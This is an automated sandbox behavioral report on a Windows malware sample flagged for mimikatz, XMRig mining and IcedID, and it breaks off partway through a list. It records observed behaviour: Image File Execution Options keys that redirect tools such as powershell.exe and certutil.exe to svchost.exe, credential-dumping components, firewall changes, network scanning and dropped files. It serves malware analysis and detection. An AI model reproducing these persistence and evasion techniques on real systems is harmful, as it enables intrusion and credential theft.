Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
26/09/2024, 10:08
Behavioral task
behavioral1
Sample
2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe
Resource
win10v2004-20240802-en
General
-
Target
2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe
-
Size
13.0MB
-
MD5
bacaff832a654cfea49d0d4747e45d19
-
SHA1
3bb9d24b4bb174a134fa3bc9699657c7c62a7811
-
SHA256
a2792ac90edc3623cfb7ca3a515c25bc2791ab5fab3806a44daeb02ef052d413
-
SHA512
5d72223674cd98d68141106af3f7b144da04475353c151bc43d52201b4fa0aba728ef5efa2ced836d53e5d8c02c05ee71e6ac040abf24df3a2ad5c00dc3a9dbf
-
SSDEEP
196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3308 created 2088 3308 bvktrsb.exe 37 -
Contacts a large (19665) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 10 IoCs
resource yara_rule behavioral2/memory/4764-177-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp xmrig behavioral2/memory/4764-181-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp xmrig behavioral2/memory/4764-198-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp xmrig behavioral2/memory/4764-211-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp xmrig behavioral2/memory/4764-220-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp xmrig behavioral2/memory/4764-233-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp xmrig behavioral2/memory/4764-247-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp xmrig behavioral2/memory/4764-255-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp xmrig behavioral2/memory/4764-276-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp xmrig behavioral2/memory/4764-386-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 5 IoCs
resource yara_rule behavioral2/memory/1836-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/memory/1836-4-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/files/0x000700000002347d-6.dat mimikatz behavioral2/memory/3172-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/memory/4080-137-0x00007FF6AFCE0000-0x00007FF6AFDCE000-memory.dmp mimikatz -
Drops file in Drivers directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts bvktrsb.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe bvktrsb.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 384 netsh.exe 3740 netsh.exe -
Executes dropped EXE 28 IoCs
pid Process 3172 bvktrsb.exe 3308 bvktrsb.exe 4556 wpcap.exe 2604 bzqgcfbub.exe 4080 vfshost.exe 2012 uszrgkbhg.exe 4120 xohudmc.exe 3876 ewqksq.exe 4764 etrbcg.exe 4264 uszrgkbhg.exe 1112 uszrgkbhg.exe 1776 uszrgkbhg.exe 2468 uszrgkbhg.exe 3520 uszrgkbhg.exe 2516 uszrgkbhg.exe 5104 uszrgkbhg.exe 4384 uszrgkbhg.exe 3640 uszrgkbhg.exe 4616 uszrgkbhg.exe 2612 uszrgkbhg.exe 1664 uszrgkbhg.exe 3244 uszrgkbhg.exe 3144 uszrgkbhg.exe 4276 uszrgkbhg.exe 1396 uszrgkbhg.exe 4432 uszrgkbhg.exe 5004 bvktrsb.exe 5116 dmcubpzyb.exe -
Loads dropped DLL 12 IoCs
pid Process 4556 wpcap.exe 4556 wpcap.exe 4556 wpcap.exe 4556 wpcap.exe 4556 wpcap.exe 4556 wpcap.exe 4556 wpcap.exe 4556 wpcap.exe 4556 wpcap.exe 2604 bzqgcfbub.exe 2604 bzqgcfbub.exe 2604 bzqgcfbub.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 76 ifconfig.me 77 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
description ioc Process File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\ewqksq.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE bvktrsb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies bvktrsb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 bvktrsb.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData bvktrsb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDAB91A53CE5876D153BF0B6B3BA7DCE bvktrsb.exe File opened for modification C:\Windows\SysWOW64\ewqksq.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 bvktrsb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft bvktrsb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache bvktrsb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 bvktrsb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDAB91A53CE5876D153BF0B6B3BA7DCE bvktrsb.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content bvktrsb.exe -
resource yara_rule behavioral2/files/0x00070000000234d2-134.dat upx behavioral2/memory/4080-135-0x00007FF6AFCE0000-0x00007FF6AFDCE000-memory.dmp upx behavioral2/memory/4080-137-0x00007FF6AFCE0000-0x00007FF6AFDCE000-memory.dmp upx behavioral2/files/0x00070000000234dd-140.dat upx behavioral2/memory/2012-141-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/2012-145-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/files/0x00070000000234da-162.dat upx behavioral2/memory/4764-164-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp upx behavioral2/memory/4264-170-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/1112-174-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/4764-177-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp upx behavioral2/memory/1776-179-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/4764-181-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp upx behavioral2/memory/2468-184-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/3520-188-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/2516-192-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/5104-196-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/4764-198-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp upx behavioral2/memory/4384-201-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/3640-205-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/4616-209-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/4764-211-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp upx behavioral2/memory/2612-214-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/1664-218-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/4764-220-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp upx behavioral2/memory/3244-223-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/3144-227-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/4276-230-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/1396-232-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/4764-233-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp upx behavioral2/memory/4432-236-0x00007FF787FF0000-0x00007FF78804B000-memory.dmp upx behavioral2/memory/4764-247-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp upx behavioral2/memory/4764-255-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp upx behavioral2/memory/4764-276-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp upx behavioral2/memory/4764-386-0x00007FF61B5D0000-0x00007FF61B6F0000-memory.dmp upx -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\zrpibinil\UnattendGC\specials\schoedcl.xml bvktrsb.exe File created C:\Windows\zrnbqagb\docmicfg.xml bvktrsb.exe File opened for modification C:\Windows\zrpibinil\igbbtbinb\Packet.dll bvktrsb.exe File created C:\Windows\zrpibinil\igbbtbinb\wpcap.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\docmicfg.exe bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\schoedcl.exe bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\AppCapture64.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\tibe-2.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\tucl-1.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\docmicfg.xml bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\crli-0.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\vimpcsvc.xml bvktrsb.exe File opened for modification C:\Windows\zrnbqagb\vimpcsvc.xml bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\AppCapture32.dll bvktrsb.exe File created C:\Windows\zrpibinil\igbbtbinb\ip.txt bvktrsb.exe File created C:\Windows\zrpibinil\igbbtbinb\wpcap.exe bvktrsb.exe File created C:\Windows\ime\bvktrsb.exe bvktrsb.exe File created C:\Windows\zrpibinil\igbbtbinb\bzqgcfbub.exe bvktrsb.exe File opened for modification C:\Windows\zrnbqagb\docmicfg.xml bvktrsb.exe File opened for modification C:\Windows\zrnbqagb\schoedcl.xml bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\exma-1.dll bvktrsb.exe File created C:\Windows\zrpibinil\upbdrjv\swrpwe.exe bvktrsb.exe File opened for modification C:\Windows\zrnbqagb\bvktrsb.exe 2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe File created C:\Windows\zrpibinil\UnattendGC\specials\spoolsrv.exe bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\vimpcsvc.xml bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\xdvl-0.dll bvktrsb.exe File created C:\Windows\zrnbqagb\schoedcl.xml bvktrsb.exe File created C:\Windows\zrpibinil\igbbtbinb\scan.bat bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\coli-0.dll bvktrsb.exe File created C:\Windows\zrnbqagb\svschost.xml bvktrsb.exe File opened for modification C:\Windows\zrnbqagb\svschost.xml bvktrsb.exe File created C:\Windows\zrpibinil\Corporate\mimidrv.sys bvktrsb.exe File opened for modification C:\Windows\zrpibinil\igbbtbinb\Result.txt dmcubpzyb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\zlib1.dll bvktrsb.exe File created C:\Windows\zrnbqagb\spoolsrv.xml bvktrsb.exe File created C:\Windows\zrnbqagb\vimpcsvc.xml bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\Shellcode.ini bvktrsb.exe File opened for modification C:\Windows\zrpibinil\Corporate\log.txt cmd.exe File created C:\Windows\zrnbqagb\bvktrsb.exe 2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe File created C:\Windows\zrpibinil\UnattendGC\specials\trch-1.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\svschost.exe bvktrsb.exe File opened for modification C:\Windows\zrnbqagb\spoolsrv.xml bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\posh-0.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\schoedcl.xml bvktrsb.exe File created C:\Windows\zrpibinil\Corporate\mimilib.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\cnli-1.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\ssleay32.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\trfo-2.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\ucl.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\vimpcsvc.exe bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\docmicfg.xml bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\spoolsrv.xml bvktrsb.exe File created C:\Windows\zrpibinil\igbbtbinb\dmcubpzyb.exe bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\libeay32.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\libxml2.dll bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\svschost.xml bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\spoolsrv.xml bvktrsb.exe File created C:\Windows\zrpibinil\UnattendGC\specials\svschost.xml bvktrsb.exe File created C:\Windows\zrpibinil\Corporate\vfshost.exe bvktrsb.exe File created C:\Windows\zrpibinil\igbbtbinb\Packet.dll bvktrsb.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1940 sc.exe 4372 sc.exe 4572 sc.exe 2444 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key 